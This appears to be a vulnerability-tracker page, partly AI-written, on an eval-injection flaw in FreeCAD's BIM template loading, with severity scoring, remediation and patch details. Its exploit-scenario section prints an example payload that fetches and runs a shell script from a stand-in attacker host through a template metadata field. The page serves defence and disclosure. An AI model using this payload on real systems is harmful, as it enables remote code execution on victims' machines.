Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft FCStd template with Python payload in wpposition field
-
DeliveryDeliver file via phishing or shared project repository
-
ExploitVictim opens FreeCAD BIM and invokes Load Template
-
ExecutionloadTemplate() calls eval() on attacker-controlled metadata
-
PersistArbitrary Python executes as victim OS user
-
ImpactFull system access achieved
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) the victim is running FreeCAD 0.19 through 1.1.0 with the BIM module loaded; (2) the victim explicitly opens a malicious FCStd BIM project template through the BIM Project Manager Load Template function, triggering the loadTemplate() method in src/Mod/BIM/bimcommands/BimProjectManager.py; (3) the malicious template contains attacker-controlled Python expressions embedded in any of the FCStd Meta properties wpposition, wpu, wpv, or wpaxis. No authentication or elevated system privileges are required on the victim's machine (CVSS PR:N). Exploitation is bounded by required user interaction (CVSS UI:R) - the victim must deliberately trigger the template load action. The local attack vector (AV:L) means the malicious file must reach the victim's filesystem first, necessitating a social engineering, phishing, or supply-chain delivery step as a prerequisite. |
| Impact | The CVSS 7.8 score with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H accurately reflects a file-borne code execution flaw - high impact but constrained by local delivery and mandatory user interaction. EPSS data was not provided in the input, and the vulnerability is absent from the CISA KEV catalog, indicating no confirmed active exploitation at time of analysis. The threat model directly mirrors malicious document attacks: an attacker crafts and delivers a poisoned FCStd template via email, shared collaborative drive, or a compromised project repository, then waits for the victim to invoke Load Template. In engineering, architecture, and construction environments where BIM project templates are routinely exchanged between teams and clients, the social engineering surface is significant despite the AV:L classification. SSVC signals: exploitation not confirmed, delivery is automatable through scripted FCStd generation, technical impact is total across confidentiality, integrity, and availability. PR:N is a key signal - the attacker requires no foothold or credentials on the target machine, only a file delivery mechanism. The confirmed patch in 1.1.1 makes upgrade the unambiguous priority; the residual risk window is limited to unpatched installations. |
| Exploit ScenarioDerived | An attacker crafts a malicious FCStd project template file embedding arbitrary Python code - for example, a reverse shell or credential-harvesting script - in the wpposition metadata field as a string like 'Vector(__import__("os").system("curl attacker.com/shell.sh|sh"),0,0)'. The file is delivered to a FreeCAD BIM user via a phishing email or embedded in a collaborative project repository. When the victim selects Load Template in FreeCAD BIM, the embedded Python executes silently with the victim's full operating system user privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 17, 2026
Arbitrary Python code execution in FreeCAD's BIM module (versions 0.19 through pre-1.1.1) is triggered when a user opens a malicious project template file through the BIM Project Manager's Load Template function. The loadTemplate() method in BimProjectManager.py passes FCStd metadata fields (wpposition, wpu, wpv, wpaxis) directly to Python's built-in eval(), enabling an attacker who can deliver a crafted template to achieve full code execution under the victim's user account. No public exploit has been identified at time of analysis; the vendor-released patch is confirmed in version 1.1.1.
RemediationAI
Upgrade to FreeCAD 1.1.1, the confirmed patched release available at https://github.com/FreeCAD/FreeCAD/releases/tag/1.1.1. The fix replaces all unsafe eval() calls in the BIM module with safe alternatives: a regex-validated _parse_vector() function for working plane vector fields (commits 871ee19b76224910332bbfbd39eebbede967998b and 9ed351cc4700db0a94c46f020c34c58bbf1bdaba), ast.literal_eval() for color tuples in BimLayers.py, explicit arithmetic parsing in BimTDPage.py, and direct string comparison for booleans in exportIFC.py. If immediate upgrade is not feasible, the primary compensating control is to treat FCStd BIM template files from external or untrusted sources with the same caution as executable attachments - verify file origin and integrity before loading. There is no known configuration option to disable only the vulnerable loadTemplate() code path without disabling the BIM module entirely, which would eliminate BIM Project Manager functionality. Organizations sharing templates across teams should establish a verified-source policy for template distribution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FreeCAD uses FCStd files (ZIP archives containing XML metadata) as its project format. The BIM module's BimProjectManager.py reads working plane properties from template metadata and passes them directly to Python's built-in eval() - a textbook CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection) pattern. The fix in PR #28610 introduces a purpose-built _parse_vector() function using strict regex matching (r'^\s*Vector\s*\(\s*([^,]+)\s*,\s*([^,]+)\s*,\s*([^,)]+)\s*\)\s*$') to extract only numeric Vector(x,y,z) components, eliminating arbitrary code paths. The same patch batch also remediated related eval() misuse in BimLayers.py (replaced with ast.literal_eval() for color data), BimTDPage.py (arithmetic scale parsing), and exportIFC.py (boolean string comparison). Affected CPE: cpe:2.3:a:freecad:freecad:*:*:*:*:*:*:*:* covering versions 0.19 through 1.1.0 across all supported platforms.
Know when Freecad gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
File-borne local delivery and mandatory user interaction are the only constraints; no target privileges needed; arbitrary code execution yields complete CIA impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
FreeCAD is a free and open-source multiplatform 3D parametric modeler. From 0.19 until 1.1.1, src/Mod/BIM/bimcommands/BimProjectManager.py in the BIM Project Manager Load Template flow passes attacker-controlled FCStd Meta property values for wpposition, wpu, wpv, and wpaxis directly to eval(), allowing arbitrary Python code execution when a user loads a malicious BIM project template. This issue is fixed in version 1.1.1.
Articles & Coverage 1
Executive ViewAI
FreeCAD versions 0.19 through pre-1.1.1 contain an arbitrary code execution vulnerability in the BIM module triggered when users open malicious project templates. No public exploit identified at time of analysis; however, successful exploitation grants attackers code execution under victim privileges, enabling data theft and lateral access. Organizations with FreeCAD BIM deployments should prioritize upgrading to version 1.1.1.
Apply vendor patch: upgrade to FreeCAD 1.1.1 or later. If patching is delayed, restrict BIM template sources to internal-only approved templates and consider disabling BIM functionality if non-essential.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Arbitrary Python code execution in FreeCAD's BIM Workbench (versions 0.19 through 1.1.0) is triggered when a user create
Remote code execution via crafted .FCStd document in FreeCAD prior to 1.1.2 allows arbitrary Python execution when a vic
EUVD-2026-60457
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB